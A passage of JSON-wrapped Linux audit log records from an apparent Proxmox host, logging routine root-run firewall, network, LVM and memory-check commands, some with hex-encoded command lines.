msg=audit(1781965076.250:64045): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6e13ee380 a1=5ad6e144c050 a2=5ad6ddb05680 a3=b items=2 ppid=61464 pid=61511 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965307510,"@rawstring":"node=pve type=EXECVE msg=audit(1781965307.510:65059): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966325968,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.968:69317): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965076251,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.251:64044): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b18ae0d0 a1=5b65b18ae1f0 a2=5b65b17f5d80 a3=0 items=2 ppid=61470 pid=61512 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"systemd-sysctl\" exe=\"/usr/lib/systemd/systemd-sysctl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305783,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.783:65056): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966325966,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.966:69316): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965076250,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.250:64043): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b17eade0 a1=5b65b18ae0d0 a2=5b65b17f5d80 a3=0 items=3 ppid=61470 pid=61510 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305780,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.780:65055): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966325965,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.965:69315): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965076249,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.249:64042): arch=c000003e syscall=280 success=yes exit=0 a0=15 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=61470 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781965305780,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.780:65054): argc=1 a0=\"date\""} {"@timestamp":1781966325965,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.965:69314): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965076247,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.247:64041): arch=c000003e syscall=59 success=yes exit=0 a0=58d60e4b0748 a1=58d5cf399978 a2=58d60e4b06e8 a3=0 items=2 ppid=61508 pid=61509 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"realpath\" exe=\"/usr/bin/realpath\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305775,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.775:65052): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966325960,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.960:69313): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965076246,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.246:64040): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b18ae0d0 a1=5b65b1832720 a2=5b65b18fc3b0 a3=0 items=3 ppid=61470 pid=61508 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"virtual-functio\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305767,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.767:65051): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966325955,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.955:69312): proctitle=69707365740073617665"} {"@timestamp":1781965076243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.243:64039): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6e13ee3e0 a1=5ad6e1450240 a2=5ad6ddb05680 a3=b items=2 ppid=61464 pid=61507 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305760,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.760:65050): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966325950,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.950:69311): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965076228,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.228:64036): arch=c000003e syscall=59 success=yes exit=0 a0=7ffca6f4f480 a1=5ad6e13dd1d0 a2=5ad6ddb05680 a3=b items=2 ppid=61464 pid=61504 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305752,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.752:65049): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966325944,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.944:69310): proctitle=\"ip6tables-save\""} {"@timestamp":1781965076221,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.221:64035): arch=c000003e syscall=59 success=yes exit=0 a0=7ffca6f4f480 a1=5ad6e13dbae0 a2=5ad6ddb05680 a3=b items=2 ppid=61464 pid=61503 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305744,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.744:65048): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966325938,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.938:69309): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965076217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.217:64034): arch=c000003e syscall=46 success=yes exit=40 a0=3 a1=7ffe9a9c2300 a2=0 a3=0 items=0 ppid=61464 pid=61502 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=(null)"} {"@timestamp":1781965305738,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.738:65046): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966325932,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.932:69308): proctitle=\"iptables-save\""} {"@timestamp":1781965076215,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965076.215:64033): arch=c000003e syscall=59 success=yes exit=0 a0=5ad6e144a650 a1=5ad6e13fe870 a2=5ad6ddb05680 a3=b items=2 ppid=61464 pid=61502 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305734,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.734:65045): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966325926,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.926:69307): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965075853,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.853:64032): arch=c000003e syscall=59 success=yes exit=0 a0=5f70d8a44b20 a1=5f70d8a50a30 a2=5f70d8a1e680 a3=5 items=2 ppid=61495 pid=61501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305728,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.728:65044): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966325921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.921:69306): proctitle=\"ip6tables-save\""} {"@timestamp":1781965075850,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.850:64031): arch=c000003e syscall=59 success=yes exit=0 a0=5f70c9bf9ac8 a1=7ffc68726700 a2=5f70d8a1e680 a3=5f70c9bdd24e items=2 ppid=61495 pid=61497 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305722,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.722:65043): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966325914,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.914:69305): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965075849,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.849:64030): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc687266c0 a1=5f70d8a401c0 a2=5f70d8a1e680 a3=5 items=2 ppid=61495 pid=61496 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305716,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.716:65042): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966325907,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966325.907:69304): proctitle=\"iptables-save\""} {"@timestamp":1781965075844,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.844:64028): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61495 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305710,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.710:65041): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966324735,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966324.735:69303): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965075839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.839:64027): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61494 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305702,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.702:65040): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966324694,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966324.694:69302): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965075832,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.832:64026): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61493 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305696,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.696:65039): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966321324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966321.324:69301): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965075826,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.826:64025): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13ae10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61492 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305692,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.692:65038): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966321324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966321.324:69300): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965075818,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.818:64024): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61491 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305685,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.685:65037): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966321322,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966321.322:69299): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965075816,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.816:64023): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=55a4fe5da740 items=0 ppid=1156 pid=61490 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965305683,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.683:65036): argc=1 a0=\"date\""} {"@timestamp":1781966321187,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966321.187:69298): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075814,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.814:64022): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc135d00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61490 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305679,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.679:65034): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966321187,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966321.187:69297): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075808,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.808:64021): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134f20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61489 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305671,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.671:65033): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966321187,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966321.187:69296): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075802,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.802:64020): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f4550 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61488 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305661,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.661:65032): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966321178,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966321.178:69295): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075798,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.798:64019): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb76f45f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61487 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305654,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.654:65031): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966321178,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966321.178:69294): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075792,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.792:64018): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138cb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61486 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305646,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.646:65030): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966321178,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966321.178:69293): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075786,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.786:64017): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2c60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61485 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965305636,"@rawstring":"node=pve type=EXECVE msg=audit(1781965305.636:65029): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966316171,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966316.171:69292): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075779,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.779:64016): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61484 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965304843,"@rawstring":"node=pve type=EXECVE msg=audit(1781965304.843:65028): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966316171,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966316.171:69291): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075772,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.772:64015): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61483 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965304816,"@rawstring":"node=pve type=EXECVE msg=audit(1781965304.816:65027): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966316171,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966316.171:69290): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075768,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.768:64014): arch=c000003e syscall=59 success=yes exit=0 a0=58a450a1fd70 a1=58a450a2bf80 a2=58a4509f9680 a3=5 items=2 ppid=61476 pid=61482 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965302502,"@rawstring":"node=pve type=EXECVE msg=audit(1781965302.502:65026): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966316163,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966316.163:69289): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075763,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.763:64013): arch=c000003e syscall=59 success=yes exit=0 a0=58a443ab4ac8 a1=7fffbc571650 a2=58a4509f9680 a3=58a443a9824e items=2 ppid=61476 pid=61478 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965302492,"@rawstring":"node=pve type=EXECVE msg=audit(1781965302.492:65023): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966316163,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966316.163:69288): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075763,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.763:64012): arch=c000003e syscall=59 success=yes exit=0 a0=7fffbc571610 a1=58a450a1b410 a2=58a4509f9680 a3=5 items=2 ppid=61476 pid=61477 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965300346,"@rawstring":"node=pve type=EXECVE msg=audit(1781965300.346:65020): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781966316163,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966316.163:69287): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075757,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.757:64010): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61476 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965300346,"@rawstring":"node=pve type=EXECVE msg=audit(1781965300.346:65019): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781966315896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.896:69286): proctitle=\"ebtables-restore\""} {"@timestamp":1781965075751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.751:64009): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61475 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965300344,"@rawstring":"node=pve type=EXECVE msg=audit(1781965300.344:65018): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781966315894,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.894:69285): proctitle=\"ebtables-restore\""} {"@timestamp":1781965075743,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.743:64008): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61474 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965297482,"@rawstring":"node=pve type=EXECVE msg=audit(1781965297.482:65017): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966315890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966315.890:69284): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965075738,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965075.738:64007): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 